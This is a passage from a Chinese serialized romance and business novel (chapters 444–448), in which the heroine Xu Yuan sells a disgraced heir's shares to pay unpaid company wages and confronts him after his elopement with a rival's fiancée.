“沈氏倒闭了,你不是还有盛世吗?你儿媳妇现在是沈氏和盛世的第一大股东,你别以为我不知道,你们盛家有的是钱!”男子的眼珠已经红了。 男子把手探入夹克的内袋,腮侧爆出一根根青筋,像是在隐忍着什么。 许愿垂眸扫了眼心有所感,立即道:“这样吧,我回去想想办法,三天后你让没领到工资的员工去沈氏总部等我,我会给你们一个交代。” 男子探入夹克的手缓缓放了下来,他今天说是来求盛衡倒不如说是来求许愿的。 他当然知道许愿的能力,只要许愿承诺的就没有做不到的。 他信得过许愿,他又深深看了许愿一眼,这才走了。 按理来说,沈氏拍卖之后所获得的钱款,法院会先行用来结算员工的工资、保险金、抚恤金、赔偿金等等,余下的才会拿去偿还贷款和欠债。 只要走完破产程序,沈氏这堆烂摊子就彻底与许愿无关了,她没有责任也没有义务去为员工发工资,法院和政府自然会料理这些事。 如果她拿出这笔钱,沈氏清算拍卖后所获得的钱款即便还完债务还有剩余,法院也不会为她填这个窟窿,她等于是在做慈善。 然而在盛衡看来盛世和许愿现在的经济状况也不好,沈氏是个无底洞,每时每刻都在烧钱,她上哪儿再去筹措这么一大笔钱? 盛衡劝阻道:“许愿,这件事你不应该管,法院那边会处理的。” 许愿斟酌良久才道:“盛先生,我有个想法不知道你同不同意。” “什么想法?”盛衡问。 “我会把盛明宇在沈氏和盛世的股份卖给盛华,盛华和盛世现在是捆绑关系这笔钱正好可以用来结算员工的工资。法院这边一直在审核沈氏的账册,不知道什么时候才能把工资发下去。员工不知道时限,心里自然着急,难免会闹出事情。前些天有几百个员工聚集在沈氏总部楼下抗议,把大堂的玻璃门砸碎了,用白布条写了血书挂在顶楼,行为越来越过激,今天还把我们堵在门口讨债。我担心事情再拖下去,他们会做出更不理智的行为,到时可能会上社会新闻也会影响到盛世。” 许愿顿了顿,又道:“盛华现在算是盛世的兄弟公司,卖给盛华是最好的选择。” 许愿信不过盛衡和盛明宇,所以他们手中的股份她会一点点的榨干买入,也算是为盛景炎和他的母亲出口气。 盛衡是个唯利是图的无良商人,他是没有社会责任感,听了许愿说的话觉得许愿简直是疯了。 盛明宇最近是不见踪影但不代表就要把他给盛明宇留的那份股份卖出去啊!而且为什么是卖他留给明宇的?为什么不卖盛景炎的?凭什么? 盛衡脸色发青的将自己的想法全盘托出。 许愿看了盛衡几眼,声音轻缓道:“盛先生难道没有想过姜明钰来到A市不针对其它家族偏偏针对盛家吗。” “盛世现在有我撑着,按理说姜家最先对准的不该是盛世,可偏偏姜家就是要趁着盛世缺少流动资金的时候下手,你猜是为什么。” 盛衡猜不到,也想不通,但他也觉得奇怪。 “前几天姜明钰告诉我说他的未婚妻跟人私奔了。” “恰巧盛明宇最近一直没有消息,盛先生可以想想其中的关联。” 盛衡听到许愿说这些此刻整个人都要傻掉了。 “你是说明宇……明宇勾上了姜明钰的未婚妻带她私奔了!他疯了吗!” “不可能!明宇不可能做出这种愚蠢的事!你一定是在骗我!” 盛衡不敢置信的给盛明宇打电话,那头却一直是关机状态,查询盛明宇的银行卡显示的前段时间取出一大笔钱后就再没有任何支出! “他疯了!他疯了!” “那可是姜明钰的未婚妻啊!他是吃错什么药了!” 盛衡觉得这世界天都要塌了。 “盛先生。”许愿循循善诱:“如果现在你还不肯将你留给盛明宇的股份卖出去,首先不能服众,其次姜明钰就该知道你是故意宠着盛明宇站队盛明宇,那姜明钰会做出什么事我就不清楚了。” “说不定现在是针对沈氏,以后就是针对盛世针对盛家每一个人,直到盛家所有人被逼到绝路。” “你该知道姜明钰的性子。” 许愿后面这些话不像是劝说,倒像是恐吓了。 可盛衡这种人偏就吃这一套。 是。 盛明宇拐走了姜明钰的未婚妻,姜明钰那么小心眼的人是不会放过盛家的,如果他还要护着盛明宇,难保姜明钰下一个针对的不是他。 比起儿子,盛衡更爱自己。 “好,卖掉吧!我支持你!”盛衡坚定道。 得了盛衡的准话,三天后,许愿在沈氏总部的会议室接见了几位员工代表,核实了拖欠工资的数额。 一名会计忧心忡忡地说道:“许总,五千多万可不是一笔小数目,您准备拿什么去发工资?据我所知,沈氏的资产还冻结在法院吧?” “盛先生有一部分股份我准备卖掉。”许愿语气平静地开口。 那位会计也是被拖欠工资的一员,听了这话眼圈忍不住红了,只觉得沈氏的股份被许愿买到真是沈氏的福报。 眼看许愿了洗手间,前来登记欠款数目的员工均围在会计身边追问:“怎么样,问出来没有?许总准备拿什么给咱们发工资?” 会计原本跟大家是一伙儿的,现在却觉得他们唯利是图的表情有些恶心,冷笑道:“拿什么还?自然是卖盛家的股份来还。我早就跟你们说过,法院早晚会把拖欠的工资发下来,你们何必去逼许总?许总算是金融界最讲信誉的,做人不要太绝,讲点良心!” 第444章 宋家跟许愿无缘 争相打探消息的员工安静了片刻,随后才纷纷叹息道:“我们也是没有办法了,我们也知道许总是好人,但我们还要过日子呀。” “许总那么能干,早晚会把沈氏做起来,我们没本事,只能指着这点死工资过日子。” 在众人的讨论声中,之前讨薪的那名男子一瘸一拐地走出去了,紧绷的面容终于松缓下来。 他的母亲还躺在病房里,每天都要花好几千块,他只能来找许愿讨要这笔救命钱。人人都很难,他知道,但是他没有办法。 …… 许愿统计了欠薪数额后便开始着手卖掉盛衡转到她手中本该属于盛明宇的股份,许愿打算转卖股份这件事传到了宋观鱼耳朵里。 宋观鱼立刻给许愿去了电话。 “为什么卖得这么急?沈氏迟早会做起来的,就算是这一小部分的股份等以后沈氏拿下新的合约,这五千万会变成五个亿甚至五十个亿,如果你缺钱我可以借给你,这股份你别卖。”宋观鱼对着话筒劝许愿,他是不想许愿吃一点亏的。 坐在他对面的宋父连连叹气,他是管不住他儿子了。 “沈氏的员工等着这笔钱过日子,不能拖了。而且……盛华那边有我认识的人,你不必在意这些,你只要知道哦我不会吃亏就够了。”许愿这句话已经算是暗示了。 宋观鱼不是蠢货,坐在他对面的宋父更不是蠢货,瞬间就明白许愿的意思。 盛华有她认识的人,不会吃亏…… 那估计不只是认识这么简单了,说不准盛华内部许愿都有控股。 宋父恍然大悟,怪不得姜家针对沈氏和盛世许愿不慌不忙游刃有余,原来是有底牌。 宋父只觉得许愿实在是可怕,偏觉的她可怕之余有些敬佩。 只是可惜他儿子没能追求到许愿,不然真是一生圆满了。 在上流圈子里,许愿已经成了这些青年才俊心目中当之无愧的女神。 人长得漂亮倒在其次,最主要的是她够独立,够能干,够大气,够善良,照那些大佬们的话来说,像许愿这样的女人娶回去就是镇宅之宝,可以旺三代。 如今家里的长辈为小辈们相看对象都比着许愿的条件去找,学历要高,容貌要好,能力要强,品德要高尚……只可惜像许愿这样的女孩子实在是太少了,又岂是随随便便能找到的? 想到此处,宋父又感叹道:“可惜了,我们宋家跟许愿无缘了。” 宋观鱼不断调整领带,听到这话垂下眼睫。 他盯着窗外布满雾霾的天空看了很久才缓缓摇头,到底是遇到的晚了些。 ………… 不知谁把许愿意欲卖掉盛世和沈氏部分股份的事情爆给了媒体,这几天媒体开始大幅报道许愿最近的动向,这才发现她能力卓绝,竟然妥善处理了沈氏的破产事宜,还把沈氏盘活了。 原本还因为沈氏股份的事饱受诟病的许愿现在已完全被公众接受,是新一代女企业家的领军人物,也是道德典范。 看见报道,姜明钰扶额轻叹,然后给许愿打了一个电话,慎重道:“许小姐,这些股份还是盛世自己留着吧,你缺钱我可以先借给你。” 许愿拒绝了姜明钰的好意,又耐心解释了一番。 “姜先生我卖掉的是盛衡手中属于盛明宇的股份。” 听到这些姜明钰眉心一跳,立刻明白许愿这么做的目的,姜明钰失笑,觉得自己实在是多此一举了。 正当许愿打算将股份明面上“卖”给陆斯年的时候正准备下班的陆斯年在自己的办公室内见到了一个绝对不可能会出现的人。 陆斯年直勾勾地看着眼前这个长满胡须、面容憔悴的男人,一时竟不知该作何反应。 男人脱掉帽子,扯掉胡须,哑声道:“盛总,我是盛明宇。” 一张再熟悉不过的脸出现在陆斯年眼前,令他眸光深暗,他开口问道:“盛先生来我这里是想做什么。” “冯菀菀跟我逃跑的路上她的腿摔断了,我担心姜明钰把她抓回去折磨,所以就带着她躲起来了。”盛明宇满脸都是沧桑和疲惫。 “所以说盛先生你真的带着姜明钰的未婚妻私奔了?”陆斯年定了定神,继续追问。 盛明宇垂下头,已经是默认了。 陆斯年努力压抑着翻江倒海的情绪,咬牙道:“很好,你做的可真好。” 因为这个人姜家才会突然来到A市才会针对盛世才会害的许愿不停加班。 全都是这个狗东西。 “我也是没有办法,冯菀菀说姜明钰是个疯子只想关着她,不给她自由,我可怜她也是真的喜欢她才打算带她逃跑的,我没想到盛家慧遭到姜家的打击……” 盛明宇痛悔难抑,只能不断揪扯自己的头发。 他觉得自己当时一定是疯了才会做出为了冯菀菀得罪姜明钰的蠢事! 他时时刻刻都想回来,但他看到姜家要针对沈氏后就没有勇气回来了,他怕姜明钰把他抓起来折磨。 人真的不能走错路,一旦踏错一步,再回头就没有机会了。 陆斯年问道:“那你现在为什么又回来了?” 盛明宇有些难以启齿,朝门外看了看,又艰难道:“我看见许愿要变卖股份的消息就回来了。她要卖的那部分部分应该是我的,我不能眼睁睁看着许愿卖掉属于我的股份。盛总,她把股份卖给你了吗?你把股份还给我可以吗?那是我的股份,那是我下半辈子的倚仗!盛总你体谅体谅我!” 陆斯年慢慢站起来,走到盛明宇身边,又扯掉领带,咬牙切齿地道:“抱歉,我不能体谅你。” 话落已经一拳打了过去。 他为他妹妹许愿憋屈,就因为这个狗东西她要防着姜家人! 他是真不知道盛明宇怎么敢出现在他面前提这些可笑的请求。 盛明宇自知理亏,竟完全不敢还手,且还手了也打不过。 一名身体瘦弱的女子从门外冲进来,哭着喊道:“别打了,陆总求你别打了!一切都是我的错,你要打打我吧!” 第445章 为盛明宇背叛自己是种侮辱 薛酒早就听到响动,现在站在门外冷眼旁观,一点劝架的意思都没有。 在薛酒看来反正陆斯年没挨打,他才不会劝架,要不是担心狗东西被打死,他也要冲过去踹几脚揍一顿。 陆斯年拂开冯菀菀,继续狠揍盛明宇,过了半小时才攒着骨节发红的拳头,沉声道:“这是我替许愿打的。你把她害苦了你知道吗?” “我知道!”挨打的时候丝毫不躲闪也没辩解的盛明宇,此时此刻竟留下了两行热泪:“我真的没想到姜明钰这么狠,为了一个女人这么针对盛家!” 这段时间,盛明宇的心像是浸在油锅里一样,每分每秒都在煎熬。一边是他真心喜欢的冯菀菀,一边是他愧对的盛家,他真的不知道该如何取舍。 盛明宇是个自私的人,但是对利益相关的他真的在乎,直到姜明钰为了冯菀菀对付盛家,盛明宇是真担心盛家倒了。 一旦盛家倒了,他以后都没有倚仗了,他怎么能不慌不怕? 看见盛明宇在痛苦与懊悔中挣扎,冯菀菀的心也很不好受。回来之前,她曾问盛明宇:“若是早知道会发生这种事,你还会跟我在一起吗?” 盛明宇丝毫没有隐瞒她的意图,直言道:“如果早知道跟你在一起盛家要遭遇这种劫难,我是绝对不会跟你在一起的,可是现在已经晚了,我走错了路,就算后悔也没意义了,你跟我已经背叛了姜明钰,他不会放过我们了。” 冯菀菀差点没当场哭晕过去,因为她意识到盛明宇后悔了,可是她已经陷得太深了,她明知道盛明宇是个渣男眼里只有利益,但她不想放手不能放手,于是她只能紧紧拥抱盛明宇,在他怀里哭泣,试图用柔弱的姿态唤起他的怜惜。 盛明宇习惯性地拍打冯菀菀不停抖动的肩膀,脸上却是一片麻木。 陆斯年冷眼看着这对儿情侣,一字一句说道:“盛明宇,你的股份该如何处理你自己去问许愿,我不会因为你几句话将股份转给你,你在我这里没有任何信誉可言。” 盛明宇身体僵硬了,他跟许愿更没有什么交情了。 前阵子追求许愿闹了不少笑料,也是那时候遇到了冯菀菀才对冯菀菀动了心思的。 他现在也不知道自己该怎么办了,满脸都是茫然无措。 他还没做好面对许愿的准备,陆斯年却已经拿出手机,拨通了许愿的电话:“阿愿,我有一个消息要告诉你,你答应我一定要保持冷静好吗?是关于盛明宇的。” “什么消息?”许愿的嗓音很平稳。 陆斯年冷冷瞥了盛明宇一眼,不等陆斯年说话,许愿却已经猜到了,一字一句缓缓说道:“他和那位冯小姐回来了是吗?” “是的,你别激动,他们现在在我的办公室。”陆斯年开口。 “斯年哥哥你把他们带过来吧,我在盛世办公室等你们。”许愿吐出一口气。 陆斯年答应一声便挂断了电话。 许愿盯着黑暗下去的手机屏幕,唇角的笑意都是带着嘲意的。 她当然知道盛明宇为什么回来。 因为她已经受够了沈氏的股份,沈氏不会被姜明钰夺走了,他不慌不怕了,但是他知道了自己要卖掉他的股份所以为了自己的利益回来了。 是他害的盛世被姜明钰针对,现在竟然还有脸为了那点利益回来。 许愿容色不免越来越冷。 就在这时,姜明钰推开办公室的门,姿态闲散的走进来。 他已经受够了部分沈氏的股份,来见许愿就是为了讨论后续合作问题。 “发什么呆?我发给你的文件看过没有?”姜明钰问。 许愿定了定神,直言道:“稍后我会看的,待会儿我有一个访客要来,你先走吧?” 在没有确定姜明钰的态度之前,她必须拦着两人见面。 姜明钰冷笑道:“盛明宇和冯菀菀要来是吧?” 许愿惊讶地看着他:“你知道?” 但转瞬又明白过来,这人是姜明钰,只要他想知道的消息,没人能瞒得住他。 “他们刚踏上回A市的路我就知道了。”姜明钰取出一根烟,却迟迟没点燃。似乎是因为许愿不喜欢闻烟味儿,所以他没抽。 事实上姜明钰原以为得知冯菀菀回来的消息,自己会激动、暴怒,亦或失控。然而他竟只是淡淡地笑了笑,心中一点波动都没有。其实早在前段时间知道她为了盛明宇那么个没用的废物私奔后,他就停止了寻找冯菀菀的举动,她是生是死已经没有关系了。 为了一个盛明宇背叛自己,这是对他的侮辱。 他也不觉得自己是爱冯菀菀的,是许愿和盛景炎的感情告诉他什么是爱,什么是占有和执念。 所以他对冯菀菀没有任何感觉了,就好像那人不是他的未婚妻,只是个素昧相识的路人。 “盛明宇会忽然出现肯定是冲着你要卖掉的股份来的。你舍得拿这笔钱去做慈善,他可舍不得。”姜明钰先给许愿打了一支预防针,随后问道:“你准备怎么办?” 许愿眼角微微上扬:“盛衡既然已经把股份转给了我,那盛明宇就不可能要回这股份了。” “如果不是因为盛明宇,盛世也不会招惹了你,这些股份就是他需要为此付出的代价和教训。” 许愿对盛明宇有说不出的恶感。 因为盛明宇的出身,因为盛明宇曾经对盛景炎做过的事,所以她厌恶盛明宇。加之这次盛明宇还连累了盛世,她是不可能让盛明宇轻轻松松拿回股份继续在A市做个二代少爷的。 姜明钰早已猜到她会这样做,思忖良久还是问道:“你就不怕盛明宇把事情闹大?你卖的可是他的股份。” 许愿嗤笑一声。 “如果他还不想跟盛衡撕破脸,就只能把这委屈咽下肚。” “盛衡再疼他也是最看重利益的人,这次是盛明宇得罪了你让盛家遭难,若是盛明宇把事情闹大更会影响盛世,盛明宇不单拿不回那部分股份更会被盛衡厌弃。” 第446章 他回来了 许愿像是嘲讽盛明宇:“只要他没疯没傻,就该知道什么该做什么不该做。” 姜明钰低笑一声。 “确实如此。” 话音才落,陆斯年敲响了办公室的门,乔装改扮的盛明宇和冯菀菀跟在他身后,连头都不敢抬。 两人皮肤蜡黄,头发干枯,眼角眉梢挂满了风霜,一看就知道这些日子没少受苦。 姜明钰今天刚收到有关于两人的消息,冯菀菀的腿伤到了,前几天刚拆石膏,盛明宇不敢用银行卡里的钱,怕被他找到,这段日子一直在外面打零工。两人租住在郊区的破旧房子里,没有空调没有钱交暖气费,吃也吃不好,睡也睡不好,又冷又饿的差点没被逼疯。 离开姜家和盛家,这两个人什么都不是。 姜明钰死死盯着冯菀菀,见对方抬起头,用湿漉漉的眸子祈求自己,竟摇头低笑起来。 没有心疼、没有厌憎,更没有失而复得的狂喜,看见冯菀菀憔悴瘦弱的模样,他竟然觉得没有感觉。直到这一刻,他终于确定自己释然了,放下了。 这段时间,盛明宇每时每刻都想回来,也每时每刻都恐惧着回来。 盛明宇几乎不敢去想姜明钰要如何对付盛世,所以即便以前多厌恶许愿,此刻盛明宇都有些感激许愿能守住盛世,不然他就真的成了没人要的丧家之犬了。 他抬起头,飞快看了她一眼,却又在她犀利的目光中无所遁形。 许愿仔细打量着许久不见的盛明宇。 以前见到盛明宇,他总是一副趾高气昂天不怕地不怕的样子,但是现在他瘦了很多,脸上青一块紫一块的,像是被谁揍了一顿,然而改变最大的却是他的眼神。 犹记得最后一次见盛明宇,他笑得十分肆意张扬,还曾经信誓旦旦说要夺回盛家,如今再看,他的眼里只有深深的疲惫和不安,像是行走在绝境中的困兽,浑身上下都浸透着颓败。 许愿对他近段时间的遭遇不感兴趣,直接问道:“你早不回来晚不回来,偏偏赶在这个时候回来,应该是有目的的吧?” 盛明宇脑袋垂得更低,竟然一句话都不敢回。 冯菀菀完全没料到姜明钰竟然也在,刚进门就像惊弓之鸟一般慌忙躲到盛明宇身后去了,还用力拽住盛明宇的衣角。 盛明宇往旁边挪了挪,试图摆脱她的拉扯。 当着姜明钰的面跟冯菀菀拉拉扯扯,他疯了吗! 盛明宇哑着嗓子问:“你……你和我二哥,还好吗。” 其实不问也知道,为了沈氏,许愿和盛景炎怕是没少联系好友周转。 “别转移话题,你回来准备干什么?”许愿极其冷漠地开口。 他的眼眶渐渐染上潮红,那句“你别变卖股份”竟无论如何都说不出口,他这种人竟然也会觉得羞耻。 见盛明宇说不出口,许愿笑了笑,揭破道:“你想拿回沈氏的股份?盛明宇,你配吗。” “如果不是你,盛家的股价不会暴跌,如果不是你,姜家不会对付盛家,你哪里来的脸要股份?” 盛明宇羞愧的低下头。 许愿微微倾身,一瞬不瞬地看着他,问道:“盛明宇,我问你,姜明钰对付沈氏的时候你知道吗?” “我知道。”盛明宇声音干哑道。 “那你为什么不回来?” “我,”盛明宇咬了咬牙,终是艰难地开口:“我怕姜明钰伤害菀菀,所以不敢回来。” “所以说冯菀菀在你心里比盛家更重要是吗?你有没有想过在你们离开之后,姜明钰会报复盛家?”许愿直勾勾地盯着盛明宇。 姜明钰这个始作俑者忍不住摸了摸鼻尖,竟然觉得有些尴尬。 盛明宇握了握拳,无力道:“我以为盛家顶得住。” 他就是个二世祖,草包,哪里懂姜家的势力有多大,哪里知道因为姜家针对盛世会让盛世股价暴跌。 盛明宇想得越多,心中的负罪感就越浓,恨不得挖个地洞钻下去。 不等盛明宇再给反应,办公室的门被敲响。 许愿打开门,看到门口的盛景炎本来内心的怒火都消散几分。 许愿半蹲下身看着面前的男人:“这个时候来,是知道盛明宇回来的消息了?” 盛景炎握住她的手点了下头:“我想知道他是怎么有脸在这个时候回A市回盛世。” 盛明宇为什么专挑这个时间来,就是为了股份,他们心知肚明。 许愿捏了捏他的手开口道:“先等我问他几个问题。” 盛景炎微微抬眸点了下头。 姜明钰一直站在一旁看着两人互动,脸色微微沉下去,漆黑的瞳眸瞟向盛景炎。 似是察觉到姜明钰的视线,盛景炎抬眸瞥了一眼,瞬间明白姜明钰对许愿的心思,眼底充斥的尽是冷意。 这边的剑拔弩张许愿没察觉到,她一步一步走到盛明宇面前,逼视着他。 许愿并不打算放过他,继续问道:“接着我们之前的话题,沈氏险些被姜家收购彻底易主这件事你知道吗。” “我,我知道,看见新闻报道的时候我已经来不及赶回来了。”盛明宇以手掩面,羞愧得无地自容。 许愿定定看了他好半晌,又问:“好,既然你现在知道了你跟冯菀菀私奔的事害了盛家,那你现在打算怎么做。” 躲在他身后的冯菀菀忽然抽泣了一声,用双臂紧紧搂住他的腰,像是担心自己会被抛弃。 许愿似笑非笑地勾了勾唇角,重复询问:“冯菀菀该怎么办?” 盛明宇被问住了,垂下头看着腰间的手,竟然不知道该如何取舍。 冯菀菀当机立断地说道:“明宇,你别离开我,我什么都没有了!” 她不敢去看姜明钰的表情,只能把脸埋进盛明宇的后背。 盛明宇犹豫了,死死咬着牙关不说话。 盛景炎全程都没看他,只是握着许愿的手把玩着。 姜明钰嘴里叼着一支香烟,态度有些高深莫测。 陆斯年面无表情的看着两人的互动,眼底都是嘲意。 所有人都拿两人当笑话。 许愿站起来,走到盛明宇对面。 她能看到盛景炎这几天为了盛世一直工作熬夜,想到这些眼底的冷意更多了几分。 第447章 教训 盛明宇有些慌的想后退,结果下一秒,却被她突如其来的一巴掌扇歪了脸,盛明宇此刻怂的连躲都不舍得躲。 许愿一字一句说道:“这一巴掌我是替盛家和赵家人打的,你自己拎不清,害得两家人基业毁于一旦,你认不认。” 盛明宇觉得屈辱,但也知道是自己愚蠢做出私奔的事情害了盛家,他说不出反驳的话来。 许愿又狠狠扇出一巴掌,继续道:“这一巴掌我是替盛景炎打的,他本就在疗养,因为你得罪了姜家,他要熬夜看资料开会周转,你认不认。” 盛明宇顿了下,他对盛景炎其实没有感情,但这次确实是盛景炎和许愿抗住了姜家的压力,只能咬牙受了这一巴掌。 许愿再次挥出一巴掌,把盛明宇的嘴角都打出了血,沉声道:“这一巴掌我是替盛世的员工打的,如果不是你,他们不会陷入眼下这般困境。你险些毁了多少人的饭碗你知道吗?” “我知道。”盛明宇咬紧牙关,这件事他确实清楚。 在出去一段时间后,他才知道一份稳定的工作有多不容易。 盛景炎紧张地盯着许愿,生怕她情绪波动太大伤了身体。 姜明钰却觉得自己的脸火辣辣得疼,仿佛也被许愿扇了一巴掌。在此之前,他从不觉得自己收购其他公司的行为有多残忍,自从认识了许愿,他才逐渐意识到这件事。其实某些时候,自己的手段其实可以更温和一点。 盛明宇的脸已经红肿了,但他依然没有躲避,而是继续盯着许愿。 许愿却放下手,坐回了原位。 盛明宇却愣住了,坦白来讲他觉得自己做的那些事不是这几巴掌能解决的。 许愿开口:“我不再打你是因为你需要为此付出应有的代价,你的股份已经卖出去就收不回来。” “如果你以后还想做盛家的三少爷,那你最好去哄着你那位糊涂的父亲,看他会不会晚年将他手中最后的股份给你做未来的保障。” 没有股份代表什么? 代表盛明宇未来都不能拿盛世和沈氏的分红,没有分红就等于没有签,许愿这是要让他死吗! 原本撑死了也不愿意在许愿面前掉泪的盛明宇终于哭了出来。 到了这个时候,许愿不该打过他这件事就翻篇了!为什么还能如此清醒的算计他的股份! “许愿你不能这样,我不能没有那些股份!那是我的底牌!你把股份还给我!”盛明宇终于挣脱冯菀菀的搂抱,跪倒在许愿面前几乎是在哭求许愿不要这么残忍。 盛景炎眸色沉了几分,姜明钰一脚将他踹开,厌恶道:“你够了!这件事是你咎由自取。” “盛明宇,你以为你抢了我的人只得到这点教训就能算了吗?”姜明钰冷笑:“我告诉你,只要有我在一天,只要你拿到盛家的股份我就一定会针对盛家。你这辈子都要为你做的错事付出代价。” 盛景炎难得高看了姜明钰一眼。 许愿平静道:“股份我已经卖给陆斯年,你想要股份只能等以后有钱买回来,但陆斯年愿不愿意卖就要另说,姜家会不会因为你的事再度针对盛家谁也不清楚。其实如果你一进门就说同意卖掉股份给那些员工发工资我还会高看你一眼,只可惜你一个字都不敢提,只想要回你的股份。可你看看你配拿回股份吗?” “你看看你究竟对得起谁?盛家险些为了你的自私赔掉家业,冯菀菀为了你担惊受怕,盛世员工也因为这件事整日加班。如果你回来后不放开冯菀菀,不为了股份回来,至少你对得起冯菀菀,倒也成全了你们这段轰轰烈烈的爱情,你说是不是?算了,别在我这里浪费时间了,回家去吧,你可以去哄一哄你那个愚蠢的父亲,看他肯不肯给你点钱让你生存。” 盛明宇身体僵硬,站在他身后的冯菀菀面如死灰。 被赶出盛世后,盛明宇又慌又怕,担心着自己的未来,整个人有些痴狂了。 看着又哭又笑、仿若疯癫的盛明宇,冯菀菀的心已经冷透了。 冯菀菀看得出来,盛明宇后悔了,而且程度不是一般得深。如果时光能够倒流,她相信他一定舍不得放弃这一切跟自己离开。她也知道盛明宇不是一个值得托付终生的男人。 可是冯菀菀现在只爱盛明宇,没有盛明宇她会死。离开了盛明宇她活不下去的?难道继续回去做姜明钰的金丝雀吗?不行,绝不可以。 冯菀菀紧紧抱着盛明宇,像几欲溺死的人抱住最后一根浮木,却完全没注意到全程姜明钰连多看她一眼都不曾,更遑论带她回姜家? 盛明宇哭到肝肠寸断,哭到泪水完全模糊了视线。冯菀菀不停拍抚他、安慰他,两人密不透风地抱在一起,心却隔得很远。 盛明宇回到盛家老宅,家里的老管家看到他带着冯菀菀回来也是连连叹气,只能将人带进来。 盛明宇心中又是一阵绞痛,做足了心理准备才推开门忐忑不安地走进去。冯菀菀亦步亦趋地跟着他,表情有些惶恐害怕。 “爸,我回来了。”他嗓音干涩地开口。 “明宇?”盛衡不敢置信地看着门口。 “明宇你回来了!”盛衡颤巍巍地去拥抱盛明宇,却在看见冯菀菀的一瞬间变了脸色:“你怎么把她也带回来了!” 盛衡推开盛明宇,厉声道:“你让这个女人赶紧走,她跟姜明钰是什么关系你不知道吗!你带她回我们盛家你是要害死盛家吗!我告诉你,我是不会承认这个儿媳的!” 盛衡再疼盛明宇也不会蠢到背弃自己的利益。 冯菀菀吓得连忙贴在盛明宇身上,却被他避开了。 他伤心欲绝地说道:“爸,菀菀现在没地方去了,如果我抛弃她,她真的会疯的。” 盛明宇难得有了点良心。 可能是因为许愿之前离开前的那段话让他清醒了点。 已经到了这一步,起码要对得起冯菀菀啊。 第448章 他要让许愿记他记得再久些 其实许愿对自己的认知并不清晰,她的感情一向很淡漠,并不是她想的恋爱脑。 曾经许愿遇见再大的事都能从容面对,很少有情绪上的波动。她的心仿佛一片沙漠,看着广阔,却也一片荒芜。 但即便如此,她也想让自己拥有一些坚持,而不是彻底活成一个机器所以后期才会那样看重感情,也可以说是两个极端。 “我这样对盛明宇,阿炎你会觉得我下手太狠吗。” 许愿看向他。 她不在意别的人,但她在意盛景炎。 “能有对莱蒂斯更狠?”盛景炎失笑。 他都能拿莱蒂斯打趣,看来根本完全不在意盛明宇这个异母弟弟,既然如此她更不会对盛明宇留情了。 “我知道了。”许愿微微点头,看着他说:“我想抱抱你。” 盛景炎忍不住笑了声向她伸展开双臂,许愿扑进他怀里,陆斯年已经走了,但她毫不在意办公室还有姜明钰。 盛景炎轻轻揉了揉她的颈窝,许愿动了动,把下颌小心翼翼地磕在男人肩头,这就是一个完全依靠信赖的动作。 姜明钰啧了一声。 盛景炎抬眸,眼神冰冷:“姜先生的未婚妻不是回来了吗?你不带她回家?” 姜明钰满不在乎地说道:“早在一周前我就放弃寻找冯菀菀了。” 说到这里他眸光不禁微微一暗,立刻给弟弟发了一条微信,让他找媒体把自己和冯菀菀解除婚约的消息发布出去。若是没有许愿,他可能永远也无法摆脱对冯菀菀的迷恋,他原以为那是爱,可如今再看,似乎不甘远远大过于爱。 冯菀菀哭泣的样子他见得太多了,他从来不觉得心疼难受,他甚至会觉得爱哭的女人眼泪就不值钱,这话在某种程度上来说是对的。冯菀菀哭泣,他会厌烦,焦躁,却绝不会感同身受,他甚至不知道她在抗拒些什么。他从来不会设身处地地去为对方考虑,只是一味地给予或索取。 但是许愿不同,她不过是露出了点疲惫姿态,他的心神就已经有些乱了。 然而面对许愿,他要小心翼翼得多,因为他清晰地感知到许愿是一个多么坚强独立的个体,将她视作附庸或从属是对她的侮辱。 这大概就是冯菀菀和许愿最大的区别所在。 对待一个附庸和对待一个个体到底是不一样的。姜明钰想着想着竟低笑起来,这才发现自己以前是有多蒙昧。冯菀菀的脸蛋很漂亮,然而撇开美丽的外表她还剩下什么呢?他努力去回想对方的优点,竟然觉得乏善可陈。 如果把冯菀菀扔在许愿的位置上,她会怎样做?单是想想就知道除了投入男人的怀抱哭泣,她也干不了别的事。 姜明钰越想越觉得可笑,不免拿出一根香烟叼进嘴里。恰在此时,姜明烨给他打了一个电话,满怀激动地问道:“哥,你是我亲哥吗,哥你脑子真的没有烧坏是吗?” “说人话!”姜明钰有些不耐烦。 “你怎么想通了?你舍得冯菀菀那个小妖精?”姜明烨不确定地问道。 “有什么舍不得的,快去办事。我今天不回来了。” “你干嘛不回来?又去喝酒?” “还有部分关于沈氏的合作项目要跟许愿谈……” “哦,那你等着,我也过来。”姜明烨啪的一声挂断了电话,动作迅疾如风。 姜明钰只能拿着手机磨牙。 他感觉得到自己对许愿的感情不纯洁,目光看向盛景炎眼眸暗了几分。 他可不觉得盛景炎是什么没用的废物,否则许愿不会一直留在他身边。 有点难办啊。 …… 傅氏集团。 容浔向傅京礼报备着跟盛世和姜家有关的最新进展。 傅京礼眸光暗了几分。 事实上他并不希望姜家插手A市的事,但是他不希望许愿会忘了他。 所以他会跟姜家联手对上盛世,哪怕是恨,他也要许愿记他记得久一些。 “继续,可以把盛世相关的资料以及……许愿的资料都发给姜明钰。” 容浔见他仍然理智笑了一声:“好,我会安排下去。” …… 盛衡见到冯菀菀就觉得头疼,连带着也不想盛明宇住在盛家。 现在只要看到这俩人就想起盛世被姜家针对的事情,完全无法冷静。 盛明宇陪盛衡待了几个小时只能离开,他的房产都被盛衡收回,许愿也是真的狠卖掉他全部房产,他没地方去只能去住附近的酒店,冯菀菀亦步亦趋地跟着他。 盛明宇把自己抛进沙发,这才露出疲惫至极的神态,“你打算怎么办?”他沉声问冯菀菀。 冯菀菀立刻反问:“明宇,你不要我了吗?” 盛明宇惨然一笑:“我要不起!为什么你不告诉我你是姜明钰的未婚妻?如果早知道这一点,我是不会和你在一起的。你知道吗,当我得知盛家出事被姜家针对我每日每夜都在煎熬。” 他跟冯菀菀被抓奸在床的那天,他才得知冯菀菀是姜明钰的未婚妻。 看着她痛哭流涕的脸,他不知怎的竟被蛊惑了,答应带她离开。他以为自己是英雄,拯救了一个孤苦无依的少女,却原来他是一个祸害,把更多人推进了深渊。如今再回想,他恨不得打死那个精虫上脑的自己! 冯菀菀冲过来,趴在他腿上哭得上气不接下气:“明宇你别不要我,姜明钰会杀了我的!” 想起姜明钰残忍的手段,盛明宇又有些犹豫了。 